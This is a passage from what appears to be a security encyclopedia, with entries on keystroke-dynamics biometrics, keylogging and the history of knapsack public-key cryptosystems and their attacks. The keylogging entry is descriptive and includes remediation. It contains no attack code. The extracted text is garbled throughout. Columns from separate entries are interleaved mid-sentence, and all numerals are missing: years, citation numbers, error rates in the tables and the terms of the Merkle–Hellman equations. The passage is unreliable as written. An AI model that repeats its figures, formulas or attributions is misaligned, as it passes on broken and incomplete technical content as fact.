be deemed more severe than the other. More research is handwritten text, many of the ideas used in handwriting
required to allow for keyboard dynamic variability to be analysis could be applicable to keyboard dynamics. Hand-
coped with while also reducing the probability of these writing analysis is a topic of research in the areas of human
types of errors. Current research is focused on the types psychology and law enforcement.
and use of particular statistics to be employed.
To implement a keyboard dynamic approach, some
initial characterization must be accomplished to estab- Experimental Results
lish the baseline signature of an individual or particu- Several different studies and experiments have been per-
lar group of individuals. Depending upon the types of formed in the past and are documented in the literature.
statistics employed, establishment of the baseline signa- The work described in [] analyzed the different keystroke
ture may require an unacceptably long or involved training dynamic characteristics obtained when a group of users
period. Reducing the time and effort expended in estab- entered different kinds of text. The first kind was a sam-
lishment of the baseline keyboard dynamic signature while ple of grammatically correct sentences that form a coherent
capturing an accurate representation is an area where fur- passage in the English language, the second kind consisted
ther research is required. of a collection of correctly spelled English words that were
Keystream K
arranged in a random fashion, and the third type was a are usually deployed as a payload to some network or
collection of random character sequences. client-side exploit, that is, the keylogger is installed when
Another experimental result is presented in [] where an attacker exploits a network service with a remote exploit
a study was made of grammatically correct English sen- or is installed when a victim falls prey to an email-based
tences versus users names and other words that they type social engineering attack (similar to a phishing attack).
very frequently. The result of this work allowed compar- Software keyloggers have been implemented to hide them-
isons and analyses to be performed with respect to well- selves in a variety of different fashions. Some keyloggers
trained or frequently used character string characteristics. hide themselves using hypervisor or virtualization tech-
niques, some hide themselves using rootkit-style operating
Recommended Reading system kernel subversion, and some keyloggers just hide
. Bryan WL, Harter N () Studies on the telegraphic language: themselves in applications or processes similar to Trojans
the acquisition of a hierarchy of habits. Psychol Rev (): and other custom malware.
. Young JR, Hammon RW () Method and apparatus for verify-
Hardware keyloggers are implemented as a covert
ing an individuals identity. US Patent ,,, Feb
. Spillane R () Keyboard apparatus for personal identification. device or modification to an existing physical device. Many
Technical report, IBM Technical Disclosure Bulletin hardware keyloggers are implemented as an attachment
. Sternberg S, Monsell S, Knoll R, Wright C () The latency and to standard keyboard connectors or as overlays on top of
duration of rapid movement sequences: comparisons of speech keyboards.
and typing. In: Stelmach GE (ed) Information processing in
Emissions keyloggers are devices with sensors that can
motor control and learning. Academic, New York, pp
. Allen JD, Howard J () Design and implementation of a novel monitor and analyze the electromagnetic emissions of key-
behavioral biometric for user authentication. In: Proceedings of board wires in order to determine what keystrokes had
the Society for Design and Process Science been transmitted to the computer.
. Gaines R, Lisowski W, Press S, Shapiro N () Authentication
by keystroke timing: some preliminary results, Rand Report R-
-NSF, Rand Corporation
Remediation K
. Bleha S, Slivinsky C, Hussien B () Computer-access security
systems using keystroke dynamics. IEEE Trans Pattern Anal Mach
Anti-virus and anti-spyware software can help detect and
Intell (): prevent the installation and operation of software keylog-
gers. Firewalls can help to prevent unauthorized commu-
nication of any keylogger, hardware or software, back to the
source. A very effective measure against stealing of authen-
Keylogging tication credentials is the use of two-factor authentication
so that the portion of the credential compromised by a
Aaron Estes keylogger is not sufficient for authentication.
Department of Computer Science and Engineering, Lyle
School of Engineering Southern Methodist University,
Dallas, TX, USA Recommended Reading
. Hoglund G, McGraw G () Exploiting software how to break
code. Addison-Wesley Professional, Boston, MA
Synonyms . Lewis M () Biologger a biometric keylogger. Proceedings
Keystroke logging of the Black Hat Europe, Conference (). https://www.
blackhat.com /presentations / bh-europe-/Lewis/Whitepaper/
Related Concepts bh-eu--lewis- WP.pdf
. Vuagnoux M, Pasini S () Compromising electromagnetic
Hash Functions; Malware; Trojan
emanations of wired and wireless keyboards. Proceedings of the
th Usenix security symposium, p . http://www.usenix.org/
Denition events/sec/tech/full_papers/proceedings.tgz
Keylogging is the malicious action whereby a third-party . Young A, Yung M () Deniable password snatching: on the
attacker covertly records a users keystrokes as they type at possibility of evasive electronic espionage. IEEE Symposium on
Security & Privacy, May , Oakland, CA, vol. , pp
a computer keyboard. Keylogging has been implemented
in many different ways from software programs to hard-
ware devices to electromagnetic emissions monitoring.
Applications Keystream
Keyloggers can be deployed through a variety of methods
depending on their implementation. Software keyloggers Running-Key
K Keystroke Dynamics
biometric comparison. On the contrary, when continu-

Keystroke Dynamics ous recognition is considered, the analysis of the typing
rhythm is performed continuously during the whole ses-
Patrizio Campisi, Alessandro Neri sion, in which case free text-based analysis is referred to.
Department of Applied Electronics, Universit degli Studi Within this latter scenario, the recognition system oper-
Roma TRE, Rome, Italy ates in the identification modality, where the database is
searched for a reference matching a submitted biomet-
ric sample, by means of one to many comparisons, and if
found, the corresponding identity is returned. When deal-
Denition ing with fixed text keystroke recognition, the choice of
Keystroke dynamics is a behavioral biometrics repre- the string to be typed and its length must be chosen in
senting the typing rhythm of a user interacting with a order to guarantee a high level of stability over repeated tri-
keyboard. als. Specifically, familiar strings are more likely to produce
stable patterns. However, users can easily adapt to new
strings by practicing times before the enrollment.
Background
Moreover, it has been observed that better recognition
Keystroke dynamics focuses on extracting quantitative
results are obtained when the number of typed charac-
information about the typing rhythm characteristics of
ters is no less than and when they are well spread
a user interacting with a system equipped with a key-
across the keyboard. Two keys typed one after the other are
board interface. Therefore, it has potential applications for
called digraph, three keys typed consecutively are called tri-
the automatic recognition of users interacting with per-
graph, whereas n keys typed consecutively are referred to as
sonal computers, ATMs, cellular phones, and any other
n-graph.
device with keys. The first documented observations that
Different features can be extracted from the typ-
each user has a unique way of typing dates back to the
ing pattern such as the time a key is held down, the
end of the nineteenth century, when telegraphists were
latency between consecutive keystrokes, specifically, the
able to identify other operators listening to the rhythm
time between pressing two consecutive keys, or the time
of their Morse code sequences. However, the first appli-
between releasing two consecutive keys, or more in general
cation of keystroke analysis to user recognition is much
the time between pressing/releasing the first and press-
more recent []. Keystroke dynamics is a nonintrusive bio-
ing/releasing the nth of a set of n consecutive keys. Also,
metric trait, which is also widely accepted from end users.
the overall timing speed, the frequency of errors in typing
The data acquisition does not require either special hard-
measured on the base of the backspace use, the habit to use
ware or any training, therefore it appears to be the natural
additional keys in the keyboard like the numeric pad, or
biometrics to be used to secure access to computers and
special keys such as shift or alt key, can be considered
data networks. However, it presents a high intra user vari-
among the others. In Fig. , a trigraph is shown along with
ability, since it depends on the employed keyboard, on the
the key press (P) and the key release (R) events and some
user physical and emotional state, on user posture when
time intervals which can be considered as features. Not all
typing, etc. These elements have to be carefully taken into
the indicated time intervals are independent. Besides time
account when designing a keystroke-based-recognition
intervals, other features, like the applied pressure on the
system. A review of the state of the art related to keystroke
keys and the motion information coming from the hand
dynamics until is presented in [] and most of the
movement when typing, could be considered. However,
approaches proposed up to and their comparative
their acquisition would require special equipment.
analysis is given in [].
Keystroke dynamics has been extensively analyzed for
traditional QWERTY keyboards, and its feasibility as a
Theory recognition tool has been deeply investigated. In [], the
Keystroke recognition can be classified as either static time intervals between a key released and the next key
or continuous. The first refers to keystroke analysis per- pressed when digitizing the first name, last name, user-
formed only at specific times, for example, during the name, and password have been used as representative fea-
login process when the user is asked to input some fixed tures. The L norm has been employed as metric to evaluate
text like username and password. In this case, the recog- the distance between the input strings and the reference
nition system is used in the verification modality, that strings. In [] the time intervals between the keystrokes,
is the identity claim is confirmed through a one to one when either a password consisting of the users name or
Keystroke Dynamics K
P R P R P R
Time
key 1 key 2 key 3
Keystroke Dynamics. Fig. Some time based-keystroke features
a fixed passphrase, have been used. A Bayesian classifier vectors composed by key-press time and time inter-
together with the hypothesis of a multivariate Gaussian vals between sequences of two consecutive keys, has been
distribution of the extracted features has been employed. adopted. A Haar wavelet transform has been performed on
In [], the key hold times, the interkey time, and both the four subvectors obtained from the user feature vector and
hold times and the interkey times have been used as repre- eight decision tree classifiers have been trained for each
sentative features. Several neural network paradigms have user. Eventually, for each user a parallel decision tree has
been employed as classifiers. The key hold times have been been constructed based on the eight decision trees. In [],
found more effective than the interkey times. However, the time between releasing two consecutive keys, the time
the best performances have been obtained when using between pressing two consecutive keys, and the hold down
both the hold times and the interkey times. In [], the time have been analyzed and modeled by using Gaussian
approach proposed in [] has been enhanced. Specifically, Mixture Models. The expectation maximization algorithm
K
the same representative features used in [] have been con- has been used to estimate the model parameters for each
sidered, but Euclidean distance classifier, Gaussian classi- of the features analyzed. The log-likelihood function has
fier, weighted Gaussian classifier, and a non-linear Gaus- been used to determine if the provided sample belonged
sian classifier have been employed. The non-linear classi- to the claimed model. Different combinations of the three
fiers have given the best performances on the employed aforementioned features have been tested. The best perfor-
dataset. In [], a fixed text string has been used for all mance have been obtained when using the time between
the users. The duration of a trigraph, that is, the elapsed releasing two consecutive keys and the hold down time. In
time between the depression of the first and of the third [], the typing rhythms of free text, chosen by end users
key, has been used as feature. Then, the trigraph durations without any specific constraint, has been used for auto-
of all the possible trigraphs in the string have been used. matic people recognition. Specifically, given two samples,
The distance between two typing samples of the same text the n-graphs that are shared by the samples are extracted
has been evaluated by first ordering the trigraphs into two and their distance is computed using the degree of disorder
arrays and then by computing the degree of disorder, that is, employed in []. However, the degree of disorder is not able
the sum of the distances between the position of each tri- to capture similarities and differences among typed sam-
graph in one array and the corresponding trigraph in the ples on the basis of the absolute typing speed. To overcome
other array. It has been experimentally observed that tri- this limitation, a new metric has been introduced in []
graphs give better performance than digraphs, -graphs, that is able to cope with the absolute value of the typing
and -graphs. When longer n-graphs are used, the per- speed of each pair of identical n-graphs. Moreover, differ-
formance degradation is essentially due to the increase ent combinations of this latter metric with the degree of
in the number of errors when typing a longer string and disorder have been tested. The performance versus the typ-
to a greater instability of longer n-graphs because of an ing samples length has also been investigated. It has been
increased number of keystrokes involved. In [], the use observed that longer samples, which share more n-graphs,
of ASCII key code, the time interval between pressing two give better performance than shorter samples.
consecutive keys, the time between the release of one key Even though the applicability of keystroke authen-
and the press of the successive key, and the key-hold dura- tication to PC keyboards has been widely documented,
tion have been selected as features and a statistical classifier a comparable effort has not been performed when key-
has been employed. In [], a system using long feature pads such as the ones used in mobile handsets are used.
K Keystroke Dynamics
The different layout, the use of smaller keys, the shape key hold time, and the time between releasing one key
of keys, and the key response to pressure, make the and pressing the consecutive key have been considered as
keystroke analysis peculiar for mobile handsets. A pre- representative features of a user. A statistical classifier has
liminary study has been carried out in [] and extended been used for classification. The system performance has
in [], where the keystroke latency and the key hold been discussed with respect to the number of characters
time have been considered as features for numeric and composing the employed alphabetic strings, up to ten char-
alphabetic input, respectively. Different neural networks, acters, and with respect to the number of input strings used
like the Feed Forward Multi-Layered Perceptron Net- in the enrollment stage.
work, the Radial Basis Function Network, the Generalized
Regression Neural Network, and individually optimized
neural network configurations have been applied to both Applications
fixed -digit PIN codes and to fixed -digit telephone Keystroke dynamics is a highly attractive biometric modal-
numbers. In [], keystroke dynamics based on the used ity, since it is perceived as non-invasive and transparent.
of text messages is investigated as well. Specifically, the Keystroke analysis can be used for automatic user recog-
user classification is based on the most recurrent characters nition at the login moment using either fixed or mobile
typed by the users, thus being independent of the actual devices, as a stand alone module, or as a part of a more
word composed by the user. Five networks are employed, complex authentication system, which can provide, as
each with a minimum of two and a maximum of six input basic security, a classic password-based protocol eventu-
characters. The best results are obtained using a training ally hardened by keystroke analysis. Within this scenario,
algorithm, which tunes the networks parameters to each the user who wants to be authenticated needs both to
users inputs, using input vectors of five characters. In [], type the correct password and to use the correct legit-
the authors have focused on the use of alphabetic strings imate users typing pattern. However, static approaches
typed on a mobile-phone keypad for automatic people cannot detect user substitution after a correct login. Con-
recognition. It is worth pointing out that when using a tinuous approaches provide a tool to detect user substitu-
mobile handset not equipped with QWERTY keyboard, tion after the login. However, the monitoring functionality,
the generation of many letters require pressing a key more obtained using continuous approaches, can be used not
than once. The time between pressing two consecutive only to detect if a user gets unauthorized access to a com-
keys, the time between releasing two consecutive keys, the puter after an authorized user has logged in, but also to
Keystroke Dynamics. Table Performance comparison of state of the art methods using standard PC QWERTY keyboards
Contribution Modality Data Number of users Enroll. samples Classication method Performance
[] Fixed text char. Bayesian class. FAR = .%
char. FRR = .%
[] Fixed text char. avg. Neural networks FAR = %
FRR = %
[] Fixed text char. Distance FAR = .%
FRR = %
[] Fixed text char. Statistical class. ERR = .%
[] Fixed text char. Parallel decision trees FAR = .%
FRR = .%
[] Fixed text char. GMM EER = .%
[] Free text char. avg. Distance FAR = .%
FRR = %
Keystroke Dynamics. Table Performance comparison of state of the art methods using mobile phones
Number Enroll. Classication

Contribution Modality Data of users samples method Performance
[] Fixed text Numeric digits Neural networks EER = .%
Fixed text Numeric digits Neural networks EER = .%
[] Fixed text Alphabetic char. Statistical class. EER = .%
Knapsack Cryptographic Schemes K
monitor the user level of attention and productivity in gen- . Bergadano F, Gunetti D, Picardi C () User authentica-
eral. Of course, this raises many privacy issues that must tion through keystroke dynamics. ACM Trans Inform Syst Sec
():
be addressed before deploying the system in real-world
. Arajo LCF, Sucupira LHR Jr, Lizarraga MG, Ling LL, Yabu-
applications. Keystroke loggers, that is either software or Uti JBT () User authentication through typing biometrics
hardware devices able to capture and store the keystroke features. IEEE Trans Signal Process ():
activity of a user, have already been commercialized and . Sheng Y, Phoha VV, Rovnyak SM () A parallel decision
used also in forensic applications. tree-based method for user authentication based on keystroke
patterns. IEEE Trans Syst Man Cy B ():
. Hosseinzadeh D, Krishnan S () Gaussian mixture modeling
Experimental Results of keystroke patterns for biometric applications. IEEE Trans Syst
In Table and , a summary of the experimental proce- Man Cy C ():
dure and the performance of state of the art approaches . Gunetti D, Picardi C () Keystroke analysis of free text. ACM
for keystroke dynamic user-based recognition based on Trans Inform Syst Sec ():
. Clarke NL, Furnell SM, Lines BM, Reynolds PL () Keystroke
standard PC QWERTY keyboards and mobile phone key-
dynamics on a mobile handset: a feasibility study. Inform Man-
boards are given, respectively. Specifically, the modality age Comp Sec ():
field represents whether fixed text or free text has been . Clarke NL, Furnell SM () Authentication mobile phone
used, the data field represents the input string type and users using keystroke analysis. Int J Inform Sec ():
length, and the enroll. samples field refers to the number . Campisi P, Maiorana E, Lo Bosco M, Neri A () User authen-
tication using keystroke dynamics for cellular phones. IET
of the samples per user used in the enrollment stage. The
Signal Process ():
performance of the systems is evaluated in term of False
Acceptance Rate (FAR), which represents the rate at which
an impostor is accepted by the system; False Rejection Rate
(FRR), which represents the rate at which an authorized Keystroke Logging
user is rejected by the system; and Equal Error Rate (EER),
which indicates the amount of error when the FAR equals
K
Keylogging
the FRR.
It is worth pointing out that in [], the performances
have been estimated by using authentic users who
have donated samples each and invalid users who Keyword-Based Retrieval over
typed twice the name of the valid users. In [], the
database of users is composed by users, who
Encrypted Data
where used as legal users, and who provided each five
Secure Index
samples, and by another users who provided only
one sample each, to be used as impostors samples. In
[], the same experimental setup of [] is used. Specifi-
cally, a total of users have been considered: users Knapsack Cryptographic
have typed strings and another people were asked Schemes
to provide only one sample to be used as impostors
samples. Yvo Desmedt
Department of Computer Science, University College
Recommended Reading London, London, UK
. Spillane R () Keyboard apparatus for personal identifica-
tion. IBM Technical Disclosure Bull ()
. Joyce R, Gupta G () Identity authorization based on Related Concepts
keystroke latencies. Commun ACM (): Digital Signatures; Encryption; Lattice: Public Key
. Peacock A, Ke X, Wilkerson M () Typing patterns: a key to
Systems
user identification. IEEE Security & Privacy ():
. Bleha S, Slivinsky C, Hussien B () Computer-access secu-
rity systems using keystroke dynamics. IEEE Trans Pattern Anal Denition
Mach Intell : Cryptographic knapsack schemes were viewed as very
. Obaidat M, Sadoun B () Verification of computer users
promising in the late s and early s since their
using keystroke dynamics. IEEE Trans Syst Man Cy B ():

encryption speed was superb to any other public key scheme
. Monrose F, Rubin AD () Keystroke dynamics as a biometric invented []. The future of knapsack tumbled down when
for authentication. Future Gen Comp Sys : the one knapsack scheme after the other was broken.
K Knapsack Cryptographic Schemes
Introduction key is a = (a , a , . . . , an ). To encrypt the message Bob

The knapsack problem originates from operational computes the ciphertext:
research. Suppose one wants to transport some goods that n
have a given economical value and a given size (e.g., vol- S = xi a i ()
ume). The transportation medium, e.g., a truck, is however i=
limited in size. The question then is to maximize the total
which he sends to Alice. So this defines an encryption
economical value to transport, given the size limitations of
function Ea () that maps x into S.
the transportation medium.
Since the encryption key is public and S can be eaves-
The above-mentioned knapsack problem is not the one
dropped, it must be difficult to find x from S and a.
that was proposed for cryptographic purposes. The one
This problem is the subset sum problem, which is an NP-
used is a only a special case, namely, the one in which the
complete problem. So, no efficient polynomial time algo-
economical value of each good is equal to its size. This spe-
rithm exists to find x in the worst case (over all S and a).
cial problem is known as the subset sum problem [].
So it seemed that breaking the cryptographic knapsack was
Merkle and Hellman initiated the use of the subset prob-
hard. It is important to notice the term worst case. Indeed
lem which they called knapsack for cryptographic
if a = (, , , , . . . , n ) it is trivial to find for all S the
purposes.
corresponding x, by writing S in binary form. Sequences
Definition In the subset sum problem n integers ai are a for which it is easy to find, for all S, its corresponding x
given (the size of n goods). Given a certain integer (the size have been called easy.
of the transportation medium) S, the problem is to decide a To allow unique decryption, the encryption function
subset of the n numbers such that by adding them together Ea () has to be one-to-one. Shamir [] called a sequence
one obtains S, formally to decide/find (whether there are) bits a that leads to such a one-to-one encryption function a
xi such that: one-to-one system. It is co-NP-complete to decide whether
n a given sequence is a one-to-one system [].
S = xi a i . ()
i=
The Decryption
The problem to decide whether such a subset exists is
If a is chosen randomly by Alice, there is no known method
NP-complete [].
for her to decrypt S and find the plaintext x. To allow this,
From now on, when the knapsack problem is men-
Merkle and Hellman [] introduced some trapdoor. The
tioned, it is used as a synonym for the subset sum prob-
secret information used to make the trapdoor is called the
lem. Note that there is also a subset product problem,
decryption key. It is now exactly the trapdoor techniques
which was used in the so-called multiplicative public key
which turned out to allow the breaking of the cryptographic
knapsack cryptographic systems []. The multiplicative
public knapsacks.
knapsack and its security will be surveyed in Section A
Most knapsack schemes differ only in the use of other
Survey of the History of the Cryptographic Knapsack.
trapdoor techniques. However, some knapsack schemes
Most research on cryptographic knapsack schemes was
allow the xi to have more values than just binary. Others
related to public key encryption/decryption, i.e., to protect
add some kind of noise to the plaintext.
privacy. Cryptographic knapsack schemes that protect the
authenticity are shortly discussed in Section The Crypto-
graphic Knapsack Scheme: An Introduction.
The MerkleHellman Trapdoor
In the MerkleHellman case, when Alice constructs her
public encryption key a she will first generate a superin-
The Cryptographic Knapsack Scheme: An creasing sequence a of natural numbers (a , a , . . . , an ),
Introduction which is defined as follows.
Except for x, which is usually binary and except when Definition A vector a = (a , a , . . . , an ) is said to be a
explicitly mentioned, all numbers in this chapter are natu-
superincreasing sequence if:
ral numbers or integers (depending of the context).
i

for each i( i n) : ai > aj .
The Encryption in Additive Knapsack j=
Schemes
In most additive knapsack systems the encryption opera- (, , , , . . . , n ) is a superincreasing sequence. As will
tion works as follows. Suppose Bob wants to send a binary be explained further on, a superincreasing sequence is an
x = (x , x , . . . , xn ) message to Alice, and Alices public easy sequence.
To hide the superincreasing structure, Alice transforms Lemma Suppose that (a , a , . . . , an ) is a one-to-one
a into aj+ starting with j = . For each transformation
j
knapsack. If m > ai and gcd(w, m) = , then any set (a ,
j, she chooses (wj , mj ) such that conditions and are a , . . . , an ), such that ai ai w mod m, is a one-to-one
satisfied system.
n
j
a i < mj ()
i= Proof By contradiction. Suppose that (a , a , . . . , an )
gcd(wj , mj ) = () does not form a one-to-one system. Then there exist x
and y such that x =/ y and xi ai = yi ai . Thus evi-
and then computes: dently, xi ai yi ai mod m, and also ( xi ai ) w
j+ j ( yi ai )w mod m, because w exists (gcd(w, m) = ).
ai ai wj mod mj
() So xi ai yi ai mod m. Since xi ai ai < m
j+
where < ai < m, and analogously yi ai ai < m, we have xi ai =

When Alice used k transformations, her public key yi ai . Contradiction.
a = ak+ .
We will refer to the transformation defined in Eqs. A Survey of the History of the
as the MerkleHellman transformation. We call the condi- Cryptographic Knapsack
tion in the MerkleHellman dominance condition. In the We will mainly survey (see Section A Survey of the His-
case one uses this transformation in the direction from a j+ tory of the Cryptographic Knapsack) the additive knap-
to a j , we call it the reverse MerkleHellman transformation: sack public key systems protecting privacy and using the
same encryption function as the MerkleHellman one. We
w
j j+ j
ai ai j where < ai < m,
mod mj will abbreviate this as the usual knapsack cryptographic
() schemes. (Our survey will not be exhaustive.) Then we will
When a is superincreasing and only one transfor- shortly discuss similar schemes by using different encryp- K
mation is used, the resulting public key scheme is called tion functions (see Section A Survey of the History of
the basic MerkleHellman scheme, or sometimes the single the Cryptographic Knapsack). We very briefly discuss the
iterated MerkleHellman scheme. The case that two trans- history of the multiplicative knapsack schemes (see Sec-
formations are used instead of one is called the doubly tion A Survey of the History of the Cryptographic Knap-
iterated one. sack), and the use of trapdoor knapsacks in signatures
Let us now explain the decryption for the Merkle (see Section A Survey of the History of the Cryptographic
Hellman scheme. When Alice receives the ciphertext S, she Knapsack).
iteratively computes S j from Sj+ starting from j = k as
following:
The Trials to Avoid Weaknesses and Attacks
j
S =S j+
w
j mod m where j
S < mj () for the Class of Usual Knapsacks
In , Shamir found that a knapsack system with a very
j
It is trivial to understand that S j ni= xi ai mod m and, high density can (probabilistically) easily be cryptanalyzed.
as a consequence of the inequality in Eq. and the Merkle The density of a knapsack system with public key a is equal
j
Hellman dominance condition (see Eq. ), S j = ni= xi ai . to the cardinality of the image of the encryption function

So finally, Alice ends up with S . Finally, it is easy to (see Eq. ) divided by ai . This result is independent of
find the message x from S . Indeed, start with h = n. If the trapdoor used to construct the public key.
S > h
i= ai then xh has to be one, else zero. Continue iter- To construct public keys in Graham and Shamir []
atively by subtracting xh ah from S , with h decrementing and Shamir and Zippel schemes, one starts from other easy
from n to during the iterations. In fact a rather equivalent sequences than the superincreasing ones. Then one applies
process is used to write numbers in binary notation. Indeed MerkleHellman transformations to obtain the public key.
the sequence (, , , , . . . , n ) is superincreasing. The case that only one transformation is used is called the
In Section The Cryptographic Knapsack Scheme: An basic GrahamShamir and basic ShamirZippel scheme.
Introduction, we have seen that an important condition For example, in the GrahamShamir scheme a is not
for the public key is that it has to form a one-to-one sys- superincreasing but can be written as :
tem. This is the case for the MerkleHellman knapsack
scheme by applying the following Lemma as many times a = a + q a , with an < q and a superincreasing.
as transformations were used, and by observing that a
superincreasing sequence forms a one-to-one system. It is trivial to understand that such a sequence is easy.
In the beginning of , Lenstra [] found a polyno- with the smallest superincreasing elements. The number of
mial time algorithm to solve the integer linear program- elements in the subsequence is small. Because the Lenstra
ming problem, when the number of unknowns is fixed. The algorithm (to solve the integer linear programming prob-
complexity of the algorithm grows exponentially if the size lem) is feasible if the number of unknowns is small, Shamir
of the number of unknowns increases. A part of Lenstras was able to break the basic MerkleHellman scheme.
algorithm uses a lattice reduction algorithm (more details A few months later, Brickell, Davis, and Simmons []
are given in Section Some Details). The importance of found that by a careful construction of the public key (using
Lenstras work on the security of knapsack cryptosystems the basic MerkleHellman scheme) the designer can avoid
will be explained later on. Shamirs attack. This work demonstrated clearly that one
In , Desmedt, Vandewalle, and Govaerts [, ] has to be careful with attacks, which break systems in
and independently Eier and Lagger [] demonstrated almost all cases. However, as a consequence of further
that any public key that is obtained from a superincreas- research, this work has become a technical remark.
ing sequence using the MerkleHellman transformation About the same time Davio came with a new easy
has infinitely many decryption keys. In general, if some sequence []. This easy sequence is based on ED, but it
public key is obtained using a MerkleHellman transfor- allows to find all xi at once. The construction is similar to
mation, then there exist infinitely many other parameters, the proof of the Chinese remainder theorem.
which would result in the same public key when used to Adleman broke the basic GrahamShamir scheme [].
construct it. This has been called a key observation that The main idea of Adleman was to treat the cryptanalytic
led eventually to the complete demise of these knapsack method as a lattice reduction problem and not as a lin-
systems []. ear integer programming problem. This idea was one of the
Desmedt, Vandewalle, and Govaerts [] also proposed most influential in the area of breaking cryptographic knap-
a different way to decrypt and build public keys. In previ- sack algorithms. To solve the lattice problem he used the
ous schemes one finds all plaintext bits xi from the same LLL algorithm []. The choice of a good lattice plays a key
S . In their approach, the size of the knapsack, n, grows role in his paper.
during the construction of the public key. Each transfor- In August , Shamir presented a new knapsack
mation only allows to recover some bit(s) xi of the plain- scheme, known as Shamirs ultimate knapsack scheme [].
text. Let us briefly explain the other type of partially easy The main idea is that instead of applying k Merkle
j j
sequence, called ED. If d divides all ai , except ar , then if Hellman transformations, Alice uses exactly n of
j
S j = ni= xi ai , it is easy to find xr by checking if d divides such transformations when constructing her public key.
S j or not. The method discussed here to construct the pub- Exactly means here that after each transformation (e.g.,
lic key, together with the partially easy sequence already j th ) one checks if a j is linearly independent of (a , . . . ,
discussed will be called the DesmedtVandewalleGovaerts a j ); if not, one drops a j , makes a new one, and tries
knapsack. again. The final result an is the public key. To decrypt S,
In the beginning of , Lenstra, Lenstra, and Lovasz Alice applies her n reverse secret transformations. She
found some algorithm for factoring polynomials with starts with Sn = S and by calculating the other S j , similar
rational coefficients []. A part of this algorithm is an as in the MerkleHellman case (see Section The Cryp-
improvement of the lattice reduction algorithm (described tographic Knapsack Scheme: An Introduction). So she
in []). This improvement is known in the cryptographic obtains a set of linear equations :
world as the LLL algorithm. Remark that the LLL algo-
S a ... an x
rithm speeds up the algorithm to solve the integer linear

programming (with the number of variables fixed) [].
n = n ()
Another application of it is that it allows to find some S a . . . an
n

xn
simultaneous Diophantine approximations []. Sn an . . . ann xn
In April , Shamir broke the basic MerkleHellman
scheme [, ]. His attack uses the same observation as After the discussed transformations to find x, Alice only
above, related to the integer linear programming prob- has to solve a set of linear equations. It is important to
lem. Shamir was able to reduce dramatically the number observe that the obtained public key is one-to-one, even
of unknowns (in almost all cases) in the integer linear pro- if a is not an easy sequence, or even if no partially easy
gramming problem. In fact the cryptanalyst first guesses sequences are used. This follows from the non-singularity
the correct subsequence of the public key corresponding of the matrix in Eq. .
Other research went on, trying to obtain other easy Around the same time Brickell cryptanalyzed low-
(or partially easy) knapsack sequences. Petit [] defined density knapsacks [, ]. A similar attack was indepen-
lexicographic knapsacks. Let w() be the Hamming weight dently found by Lagarias and Odlyzko []. To perform his
function. a is called lexicographic, if and only if, aT x < aT y attack, Brickell first generalized the MerkleHellman dom-
for all binary x and y, with x =/ y and one of the two inance condition. The integers he used may also be nega-
cases (a) w(x) < w(y) or (b) w(x) = w(y) and x and y tive. Brickell called a modular mapping w mod m from a
satisfy together xk yk = and xi yi = for all i < k, into c to have the small sum property if ci ai w mod m,
with the exclusive or. The construction the public key and m > ci . He called mappings satisfying this prop-
is as in the MerkleHellman case, using MerkleHellman erty SSMM. Given xi ai one can easily calculate xi ci .
transformations. This is done exactly as in the reverse MerkleHellman case.
Willett [] also came with another easy sequence and If the result is greater than ci > ci M is subtracted from it.
a partially easy sequence, which are then used similarly as He tries to find n such transformations all starting from
in the MerkleHellman and in the DesmedtVandewalle the public key a. He can then solve a set of equations similar
Govaerts knapsack. We only discuss the easy sequence. It is as in the ultimate scheme of Shamir (remark the difference
not to difficult to figure out how it works in the case of the in obtaining the matrix). To obtain such transformations in
partially easy sequence. The ith row of the matrix in Eq. order to break, he uses the LLL algorithm choosing a spe-
corresponds with the binary representation of ai . cial lattice. If all the reduced lattice basis vectors are short
enough, he will succeed. This happens probably when the
[Tn Cn On Tn Cn . . . O T C O T C ], ()
density is less than / log n. In the other cases, he uses
In Eq. , the Ti are randomly chosen binary matrices, the some trick to transform the problem into one satisfying the
Ci are n binary column vectors such that they (Ci ) are previous condition. Arguments were given that this will
linearly independent modulo , and the Oi are n li zero succeed almost always when the density is less than ..
binary matrices, where li log n. Let us call the locations The low dense attack proposed by Lagarias and Odlyzko
of the Ci ti . To find x out of S , we first represent S binary, is expected to work when the density of the knapsack is
K
and we call these bits sh . As a consequence of the choice of less than .. These attacks break the ultimate scheme of
li , the bits sti are not influenced by Ti and Ci . To find x Shamir, because the density of the public key is small as a
we have to solve modulo : consequence of the construction method of the public key.
Lagarias found some nice foundation for the attacks on
st c ... cn x
the knapsack system, by discussing what he called unusu-

= mod , ally good simultaneous Diophantine approximations [].
n
stn cn . . . cn Lagarias used similar ideas [] to analyze Shamirs attack
xn
stn cn . . . cn n
xn on the basic MerkleHellman scheme. The main result is
that Shamir overlooked some problems, but nevertheless
j
where the ci are coefficients of Ci . his attack works almost always.
McAuley and Goodman [] proposed in December Brickell, Lagarias, and Odlyzko performed an eval-
a very similar knapsack scheme as the one proposed uation [] of the Adlemans attack on multiple iter-
by Davio (see higher). The differences are that no Merkle ated MerkleHellman and GrahamShamir schemes. They
Hellman transformations are used and that the x can have concluded that his attack on the basic GrahamShamir
more values than binary (they have to be smaller than a scheme works, but that the version to break iterated
given value and larger or equal than zero). The trapdoor MerkleHellman or GrahamShamir scheme failed. The
information consists only in secrecy of the primes that main reason for it was that the LLL algorithm found so-
were used in the construction. called undesired vectors, which could not be used to crypt-
By the end of and the beginning of , Desmedt, analyze the cited systems. Even in the case that only two
Vandewalle, and Govaerts [] generalized Shamirs ulti- transformations were applied (to construct the public key)
mate knapsack scheme by generalizing the Merkle his attack fails.
Hellman transformation, calling it the general knapsack Karnin proposed in an improved timememory
scheme. All previously discussed knapsack systems are spe- processor trade-off [] for the knapsack problem. The
cial cases of this one []. In Shamirs scheme one can only idea is related to exhaustive key search [] and Hellmans
choose one vector and start the transformation, while here timememory trade-off [], in which an exhaustive key
n choices of vectors are necessary (or are done implicitly). search is used to break the system using straightforward or
more advanced ideas. The result has only theoretical value In , Brickell also presented a new knapsack system
if the dimension of the knapsack system n is large. [], which is similar to the Arazi one.
In , Goodman and McAuley proposed a small Brickell declared one year later his new own scheme
modification [] to their previous system []. In the new insecure, as a consequence of his attack on iterated knap-
version some modulo transformation is applied. sacks [].
In the same year, Brickell proposed how to crypt- Chor and Rivest proposed in another knapsack-
analyze [] the iterated MerkleHellman and Graham based system []. The encryption process is very close to
Shamir scheme. As usual no proof is provided that the the one in the MerkleHellman scheme. The main differ-
breaking algorithm works; arguments for the heuristics ence in the encryption is that xi h for some given h. The
are described in []. Several public keys were generated by trapdoor technique does not use a modular multiplication
the MerkleHellman and GrahamShamir schemes and (as do almost all other knapsack schemes). The trapdoor
